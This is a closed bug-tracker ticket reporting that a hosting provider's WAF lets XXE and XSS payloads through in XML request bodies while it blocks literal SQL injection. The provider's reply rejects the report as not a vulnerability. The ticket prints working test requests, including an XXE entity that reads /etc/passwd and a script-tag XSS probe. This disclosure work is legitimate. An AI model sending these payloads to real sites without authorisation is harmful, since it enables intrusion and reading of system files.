- Status Closed
-
Assigned To
cbay - Private
Opened by web_researcher - 18.08.2026
Last edited by cbay - 19.08.2026
FS#454 - Per-Site WAF Partial Bypass: application/xml Bodies Only Partially Inspected
Target: alwaysdata.com per-site WAF (alproxy/nginx front), site 1068896 (`regtest846.alwaysdata.net`, `waf_profile = full`)
Severity: Medium
Class: CWE-693 Protection Mechanism Failure / incomplete WAF coverage
Status: Verified — re-verified live 2026-08-18, zero false positives
—
## Summary:
Unlike `application/json` (FINDING-1, fully skipped), the WAF does inspect `application/xml` bodies for classic SQL injection literals — but fails to block XML-shaped attack payloads. XML External Entity (XXE) declarations and embedded `<script>` XSS content pass through with HTTP 200, while a plain SQLi string in the same content type is correctly blocked with HTTP 403. The inspection is inconsistent and leaves the most dangerous XML-specific attack class entirely undetected.
—
## Reproduction Steps:
Same setup as FINDING-1: PHP site on alwaysdata, `waf_profile = full`, `vuln.php` victim app in the site webroot.
—
## PoC — Exact Requests and Responses (Live Re-verification 2026-08-18, WAF=full):
### 1) XXE Declaration — passes as `application/xml` (HTTP 200)
```
POST /vuln.php HTTP/1.1
Host: regtest846.alwaysdata.net
Content-Type: application/xml
<?xml version="1.0"?><!DOCTYPE r [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><q>&xxe;</q>
```
```
HTTP/1.1 200 OK
<body><h1>Search results for: </h1></body>
```
The WAF does not reject the DOCTYPE/entity payload. In any application that actually parses XML, the entity would be resolved, leading to XXE file read or SSRF.
### 2) Embedded XSS `<script>` — passes as `application/xml` (HTTP 200)
```
POST /vuln.php HTTP/1.1
Host: regtest846.alwaysdata.net
Content-Type: application/xml
<q><script>alert(1)</script></q>
```
```
HTTP/1.1 200 OK
<body><h1>Search results for: </h1></body>
```
### 3) Literal SQLi — blocked as `application/xml` (control, HTTP 403)
```
POST /vuln.php HTTP/1.1
Host: regtest846.alwaysdata.net
Content-Type: application/xml
<q>x' OR 1=1– -</q>
```
```
HTTP/1.1 403 Forbidden
Request was blocked by WAF. (Request ID: 60dbddb…)
```
### 4) `text/xml`
The same `<script>` payload sent with `Content-Type: text/xml` also passes with HTTP 200.
—
## Impact:
The WAF's XML inspection is inconsistent: literal SQLi is caught, but XXE/DOCTYPE declarations and XSS tags are not blocked. Any site that parses XML POST bodies — SOAP, RSS/Atom ingestion, config import, XML-RPC — behind `waf_profile` is exposed to XXE file read, SSRF, and XSS despite the WAF being active. Combined with FINDING-1, the WAF provides unreliable coverage for the two most common structured-body formats used by modern APIs.
—
## Recommendations:
- Apply the same inspection rules to XML bodies that are applied to URL-encoded bodies, including DOCTYPE/ENTITY/XXE signatures and embedded tag-based XSS patterns.
- The safer long-term fix is to enforce safe XML parsing at the platform level — disabling external entity resolution at the framework layer — rather than relying on signature-based regex inspection alone.
- Re-test the full matrix from FINDING-1 and this report after any change is applied.
—
## Evidence Files:
| File | Contents |
| — | — |
| `verify_f1_f2.py` | Re-verification script; live output shown in PoC blocks above |
Loading...
Available keyboard shortcuts
- Alt + ⇧ Shift + l Login Dialog / Logout
- Alt + ⇧ Shift + a Add new task
- Alt + ⇧ Shift + m My searches
- Alt + ⇧ Shift + t focus taskid search
Tasklist
- o open selected task
- j move cursor down
- k move cursor up
Task Details
- n Next task
- p Previous task
- Alt + ⇧ Shift + e ↵ Enter Edit this task
- Alt + ⇧ Shift + w watch task
- Alt + ⇧ Shift + y Close Task
Task Editing
- Alt + ⇧ Shift + s save task
verify_f1_f2.py
Hello,
The WAF is not a perfect solution that would magically block all attacks. There are many ways to escape it. That's not a vulnerability.
Kind regards,
Cyril